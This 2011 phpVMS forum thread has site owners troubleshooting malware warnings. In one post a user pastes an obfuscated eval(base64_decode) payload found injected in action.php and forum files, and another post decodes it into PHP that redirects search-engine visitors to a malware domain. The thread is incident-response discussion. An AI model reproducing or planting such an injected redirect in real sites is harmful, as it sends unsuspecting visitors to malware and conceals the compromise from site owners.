# Mal ware

**URL:** <https://forum.phpvms.net/t/mal-ware/4000>\
**Category:** General\
**Created:** [February 3, 2011, 9:18pm UTC](https://forum.phpvms.net/t/mal-ware/4000 "2011-02-03T21:18:11Z")\
**Posts on this page:** 20\
**Page:** 1

<div class="post-metadata">

**Author:** ![RogerB](https://forum.phpvms.net/user_avatar/forum.phpvms.net/rogerb/32/10_2.png) [@RogerB](https://forum.phpvms.net/u/RogerB)\
**Post date:** [February 3, 2011, 9:18pm UTC](https://forum.phpvms.net/t/mal-ware/4000/1 "2011-02-03T21:18:11Z")

</div>

I had my provider run a malware scan on my site, they found nothing. I joined a malware site that my host uses and they are saying much of phpvms code is malware…Anyone else run into this?

---

<div class="post-metadata">

**Author:** ![mark1million](https://forum.phpvms.net/user_avatar/forum.phpvms.net/mark1million/32/15_2.png) [@mark1million](https://forum.phpvms.net/u/mark1million)\
**Post date:** [February 3, 2011, 9:46pm UTC](https://forum.phpvms.net/t/mal-ware/4000/2 "2011-02-03T21:46:58Z")

</div>

Nope, what’s the site you are using?

---

<div class="post-metadata">

**Author:** ![RogerB](https://forum.phpvms.net/user_avatar/forum.phpvms.net/rogerb/32/10_2.png) [@RogerB](https://forum.phpvms.net/u/RogerB)\
**Post date:** [February 4, 2011, 12:14am UTC](https://forum.phpvms.net/t/mal-ware/4000/3 "2011-02-04T00:14:25Z")

</div>

Sitelock. If you google this, you will see. site:kesukvirtual.com its showing regular pages as malware. stupid.

---

<div class="post-metadata">

**Author:** ![Kyle](https://forum.phpvms.net/letter_avatar_proxy/v4/letter/k/848f3c/32.png) [@Kyle](https://forum.phpvms.net/u/Kyle)\
**Post date:** [February 4, 2011, 1:20am UTC](https://forum.phpvms.net/t/mal-ware/4000/4 "2011-02-04T01:20:51Z")

</div>

Roger I got it in Google and firefox.

Someone’s is f\*\*\*ing with everyone here at phpVMS.

---

<div class="post-metadata">

**Author:** ![Tom](https://forum.phpvms.net/letter_avatar_proxy/v4/letter/t/3d9bf3/32.png) [@Tom](https://forum.phpvms.net/u/Tom)\
**Post date:** [February 4, 2011, 7:09am UTC](https://forum.phpvms.net/t/mal-ware/4000/5 "2011-02-04T07:09:37Z")

</div>

Roger do you mean the whole ‘This site may harm your device/computer’ thing under links? That’s all I see that looks abnormal, and that would be expected on the entire site if they suspect malware anywhere on the domain.

And Vansers are you getting it on your site? :s

---

<div class="post-metadata">

**Author:** ![mark1million](https://forum.phpvms.net/user_avatar/forum.phpvms.net/mark1million/32/15_2.png) [@mark1million](https://forum.phpvms.net/u/mark1million)\
**Post date:** [February 4, 2011, 8:03am UTC](https://forum.phpvms.net/t/mal-ware/4000/6 "2011-02-04T08:03:35Z")

</div>

Guys all the base package is OK, fine, its when you start adding skins and other scripts without verifying what they can do or create on your server, then there becomes a problem.

If other links are placed anywhere on a domain to a site that has been associated as hosting malware then you will most probably get a warning message about it which makes sense.

Thing to remember is look at every script before you put on your site or use, if you dont understand what it can do then dont put it on.

---

<div class="post-metadata">

**Author:** ![nabeel](https://forum.phpvms.net/user_avatar/forum.phpvms.net/nabeel/32/2971_2.png) [@nabeel](https://forum.phpvms.net/u/nabeel)\
**Post date:** [February 4, 2011, 7:39pm UTC](https://forum.phpvms.net/t/mal-ware/4000/7 "2011-02-04T19:39:43Z")

</div>

Wait, what?

---

<div class="post-metadata">

**Author:** ![Kyle](https://forum.phpvms.net/letter_avatar_proxy/v4/letter/k/848f3c/32.png) [@Kyle](https://forum.phpvms.net/u/Kyle)\
**Post date:** [February 5, 2011, 12:54am UTC](https://forum.phpvms.net/t/mal-ware/4000/8 "2011-02-05T00:54:36Z")

</div>

> And Vansers are you getting it on your site? :s

No, I don’t have a site, I mean, I been seeing some phpVMS VA’s getting that.

---

<div class="post-metadata">

**Author:** ![Kyle](https://forum.phpvms.net/letter_avatar_proxy/v4/letter/k/848f3c/32.png) [@Kyle](https://forum.phpvms.net/u/Kyle)\
**Post date:** [February 5, 2011, 1:06am UTC](https://forum.phpvms.net/t/mal-ware/4000/9 "2011-02-05T01:06:09Z")

</div>

> Wait, what?

You confused with Mark’s post? or My Post?

---

<div class="post-metadata">

**Author:** ![RogerB](https://forum.phpvms.net/user_avatar/forum.phpvms.net/rogerb/32/10_2.png) [@RogerB](https://forum.phpvms.net/u/RogerB)\
**Post date:** [February 6, 2011, 11:26pm UTC](https://forum.phpvms.net/t/mal-ware/4000/10 "2011-02-06T23:26:05Z")

</div>

Ok, I am finding this code in some of my files, I also found it in the action.php for phpvms, and I don’t remember it being there before.

```
eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOw0KJG5jY3Y9aGVhZGVyc19zZW50KCk7DQppZiAoISRuY2N2KXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YT0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikpIHsNCglpZiAoIXN0cmlzdHIoJHJlZmVyZXIsInNpdGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CQkNCgkJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL2ZnaGhnaGZzNmZnLm9zYS5wbC8iKTsNCgkJZXhpdCgpOw0KCX0NCn0NCn0="));

```

---

<div class="post-metadata">

**Author:** ![Tom](https://forum.phpvms.net/letter_avatar_proxy/v4/letter/t/3d9bf3/32.png) [@Tom](https://forum.phpvms.net/u/Tom)\
**Post date:** [February 6, 2011, 11:38pm UTC](https://forum.phpvms.net/t/mal-ware/4000/11 "2011-02-06T23:38:08Z")

</div>

Decoded as follows

```
error_reporting(0);
$nccv=headers_sent();
if (!$nccv){
$referer=$_SERVER['HTTP_REFERER'];
$ua=$_SERVER['HTTP_USER_AGENT'];
if (stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing")) {
if (!stristr($referer,"site") or !stristr($referer,"cache") or !stristr($referer,"inurl")){		
	header("Location: http://fghhghfs6fg.osa.pl/");
	exit();
}
}
}

```

---

<div class="post-metadata">

**Author:** ![mark1million](https://forum.phpvms.net/user_avatar/forum.phpvms.net/mark1million/32/15_2.png) [@mark1million](https://forum.phpvms.net/u/mark1million)\
**Post date:** [February 7, 2011, 12:13am UTC](https://forum.phpvms.net/t/mal-ware/4000/12 "2011-02-07T00:13:24Z")

</div>

That is a known malware site!!!

What ever code was in your scripts it would appear that it has written a redirect to that url, Not a good outcome as you dont know where else it has written that meta redirect.

Roger that defiantly does NOT belong in the action.php

---

<div class="post-metadata">

**Author:** ![RogerB](https://forum.phpvms.net/user_avatar/forum.phpvms.net/rogerb/32/10_2.png) [@RogerB](https://forum.phpvms.net/u/RogerB)\
**Post date:** [February 7, 2011, 12:20am UTC](https://forum.phpvms.net/t/mal-ware/4000/13 "2011-02-07T00:20:06Z")

</div>

I just did an update to get rid of it. I am also finding it in my forum files. I think its all cleaned up. question is, how did it get there.

---

<div class="post-metadata">

**Author:** ![RogerB](https://forum.phpvms.net/user_avatar/forum.phpvms.net/rogerb/32/10_2.png) [@RogerB](https://forum.phpvms.net/u/RogerB)\
**Post date:** [February 7, 2011, 12:21am UTC](https://forum.phpvms.net/t/mal-ware/4000/14 "2011-02-07T00:21:47Z")

</div>

Decode where Tom? Where ever I see it?

---

<div class="post-metadata">

**Author:** ![Kyle](https://forum.phpvms.net/letter_avatar_proxy/v4/letter/k/848f3c/32.png) [@Kyle](https://forum.phpvms.net/u/Kyle)\
**Post date:** [February 7, 2011, 12:22am UTC](https://forum.phpvms.net/t/mal-ware/4000/15 "2011-02-07T00:22:40Z")

</div>

That’s the main question!

Roger, lock all up your files with .htaccess that mark showed how to.

---

<div class="post-metadata">

**Author:** ![mark1million](https://forum.phpvms.net/user_avatar/forum.phpvms.net/mark1million/32/15_2.png) [@mark1million](https://forum.phpvms.net/u/mark1million)\
**Post date:** [February 7, 2011, 12:30am UTC](https://forum.phpvms.net/t/mal-ware/4000/16 "2011-02-07T00:30:52Z")

</div>

Thing is malware is hidden in scripts and will usually look for folders it has permissions to write to, so once you upload a js file or unknown content then potentially every file / folder it can write to it will do to try in this case redirect to a booby trapped site for what ever reason.

Its a right pain to get rid of and fully make sure you are free, its a time consuming task that must be done.

In your example above anyone reaching your site from the popular search engines will be redirected to that site defined in the decode.

---

<div class="post-metadata">

**Author:** ![Kyle](https://forum.phpvms.net/letter_avatar_proxy/v4/letter/k/848f3c/32.png) [@Kyle](https://forum.phpvms.net/u/Kyle)\
**Post date:** [February 7, 2011, 12:38am UTC](https://forum.phpvms.net/t/mal-ware/4000/17 "2011-02-07T00:38:17Z")

</div>

Very interesting mark. I didn’t really know any of the js triggers to work up on the file permission… So we are seeing that the virus was from the js file in Rogers skin.

Thats the thing we need to smeck the flies first, but now I started skinnig my own so I dont use released skins.

I think we should keep on eye on that so we don’t have malware or anything in the servers.

---

<div class="post-metadata">

**Author:** ![Tom](https://forum.phpvms.net/letter_avatar_proxy/v4/letter/t/3d9bf3/32.png) [@Tom](https://forum.phpvms.net/u/Tom)\
**Post date:** [February 7, 2011, 7:29am UTC](https://forum.phpvms.net/t/mal-ware/4000/18 "2011-02-07T07:29:36Z")

</div>

Roger I decoded the base 64. That is the code it’s adding into your pages.

Seeing as I don’t believe phpVMS uses any base 64 you should remove EVERY instance of it.

---

<div class="post-metadata">

**Author:** ![flyalaska](https://forum.phpvms.net/user_avatar/forum.phpvms.net/flyalaska/32/14_2.png) [@flyalaska](https://forum.phpvms.net/u/flyalaska)\
**Post date:** [February 7, 2011, 11:32pm UTC](https://forum.phpvms.net/t/mal-ware/4000/19 "2011-02-07T23:32:10Z")

</div>

Did you ever figure out how you got it?

---

<div class="post-metadata">

**Author:** ![Kyle](https://forum.phpvms.net/letter_avatar_proxy/v4/letter/k/848f3c/32.png) [@Kyle](https://forum.phpvms.net/u/Kyle)\
**Post date:** [February 8, 2011, 12:02am UTC](https://forum.phpvms.net/t/mal-ware/4000/20 "2011-02-08T00:02:20Z")

</div>

Hey Eddie, The Vuris came from the JS which was going to be released but it’s off, because the JS that Roger has that was a virus. Which he didn’t know…

My server was so messed up and messed up over a lot of files. Took me two days to get the server online again.

[Next page](https://forum.phpvms.net/t/mal-ware/4000.md?page=2)
